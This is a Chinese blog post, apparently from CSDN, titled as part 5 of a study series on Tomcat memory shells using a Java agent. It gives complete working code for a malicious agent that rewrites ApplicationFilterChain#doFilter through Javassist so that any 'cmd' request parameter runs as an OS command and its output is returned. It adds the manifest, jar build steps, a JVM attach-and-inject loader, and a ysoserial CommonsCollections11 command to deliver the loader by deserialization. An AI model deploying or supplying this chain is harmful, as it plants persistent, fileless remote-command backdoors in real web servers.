Tomcat内存马学习5:Agent型

利用java-agent修改jvm中已经加载的类比如(org/apache/catalina/core/ApplicationFilterChain#doFilter)来达到注入内存马的目的

具体点来说就是通过VirtualMachine 类的 attach(pid) 方法,可以连接到一个运行中的 java 进程上之后便可以通过 loadAgent(agentJarPath) 来将恶意agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法,这个方法会遍历所有的已加载类并找到我们需要的类,修改其字节码从而达到注入内存马目的

agent.jar(需要上传到对方服务器)

//AgentMain
import java.lang.instrument.Instrumentation;

public class AgentMain {

    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public static void agentmain(String agentArgs, Instrumentation ins) {
        ins.addTransformer(new DefineTransformer(),true);
        // 获取所有已加载的类
        Class[] classes = ins.getAllLoadedClasses();
        for (Class clas:classes){
            if (clas.getName().equals(ClassName)){
                try{
                    // 找到ClassName类,对其重新定义,此时会调用DefineTransformer#transform
                    ins.retransformClasses(new Class[]{clas});
                } catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
}
//DefineTransformer
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

// 每当类被加载,就会调用 transform 函数
public class DefineTransformer implements ClassFileTransformer {

    public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        //给ApplicationFilterChain#doFilter方法体最前面添加内存马代码
        className = className.replace("/",".");
        if (className.equals(ClassName)){
            System.out.println("Find the Inject Class: " + ClassName);
            ClassPool pool = ClassPool.getDefault();
            try {
                CtClass c = pool.getCtClass(className);
                CtMethod m = c.getDeclaredMethod("doFilter");
                m.insertBefore("javax.servlet.http.HttpServletRequest req =  request;\n" +
                        "javax.servlet.http.HttpServletResponse res = response;\n" +
                        "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                        "if (cmd != null){\n" +
                        "    try {\n" +
                        "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                        "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                        "        String line;\n" +
                        "        StringBuilder sb = new StringBuilder(\"\");\n" +
                        "        while ((line=reader.readLine()) != null){\n" +
                        "            sb.append(line).append(\"\\n\");\n" +
                        "        }\n" +
                        "        response.getOutputStream().print(sb.toString());\n" +
                        "        response.getOutputStream().flush();\n" +
                        "        response.getOutputStream().close();\n" +
                        "    } catch (Exception e){\n" +
                        "        e.printStackTrace();\n" +
                        "    }\n" +
                        "}");
                byte[] bytes = c.toBytecode();
                // 将 c 从 classpool 中删除以释放内存
                c.detach();
                return bytes;
            } catch (Exception e){
                e.printStackTrace();
            }
        }
        return new byte[0];
    }
}
//MANIFEST.MF
Manifest-Version: 1.0
Created-By: 1.8.0_332 (Amazon.com Inc.)
Can-Redefine-Classes: true
Can-Retransform-Classes: true
// 设置入口类
Agent-Class: AgentMain

以上三个文件打包为jar

jar cvfm AgentMain.jar MANIFEST.MF AgentMain.class DefineTransformer.class

利用CC11注入agent.jar

//保存为TestAgentMain.java
try{
    //设置上传的agent.jar的位置
    java.lang.String path = "F:\\javasec-env\\javaAgent\\src\\main\\java\\agent.jar";
    //加载tools.jar,这个虽然是jdk内置jar包,但是默认不加载,需要人工导入
    java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
    java.net.URL url = toolsPath.toURI().toURL();
    java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
    //加载tools包内的VirtualMachine和VirtualMachineDescriptor用于寻找springboot项目的JVM进程
    Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
    Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
    java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list",null);
    java.util.List/*<Object>*/ list = (java.util.List/*<Object>*/) listMethod.invoke(MyVirtualMachine,null);

    System.out.println("Running JVM list ...");
    for(int i=0;i<list.size();i++){
        Object o = list.get(i);
        java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName",null);
        java.lang.String name = (java.lang.String) displayName.invoke(o,null);
        // 列出当前有哪些 JVM 进程在运行 
      	// 这里的 if 条件根据实际情况进行更改
        // com.example.CcApplication为我本地springboot项目的入口类
        if (name.contains("com.example.CcApplication")){
            // 在获取到spring项目的JVM 进程后
            // 获取对应进程的 pid 号
            java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id",null);
            java.lang.String id = (java.lang.String) getId.invoke(o,null);
            System.out.println("id >>> " + id);
            //连接到对应JVM 进程
            java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
            java.lang.Object vm = attach.invoke(o,new Object[]{id});
            //将agent.jar注入到该进程中,此时会调用jar包中的agentmain方法,搜索已加载的ApplicationFilter类并修改其doFilter方法
            java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
            loadAgent.invoke(vm,new Object[]{path});
            // 释放该进程
            java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach",null);
            detach.invoke(vm,null);
            System.out.println("Agent.jar Inject Success !!");
            break;
        }
    }
} catch (Exception e){
    e.printStackTrace();
}
//将TestAgentMain.java添加到cc11上来触发
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./TestAgentMain.java > cc11demo.ser

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IbVdNdMl-1660096704602)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220809143739336.png)]

成功注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IWGDPeOt-1660096704603)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220809143749978.png)]

大体思路都写在了代码注释里

感谢木头师傅以及Y4er师傅的指点

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值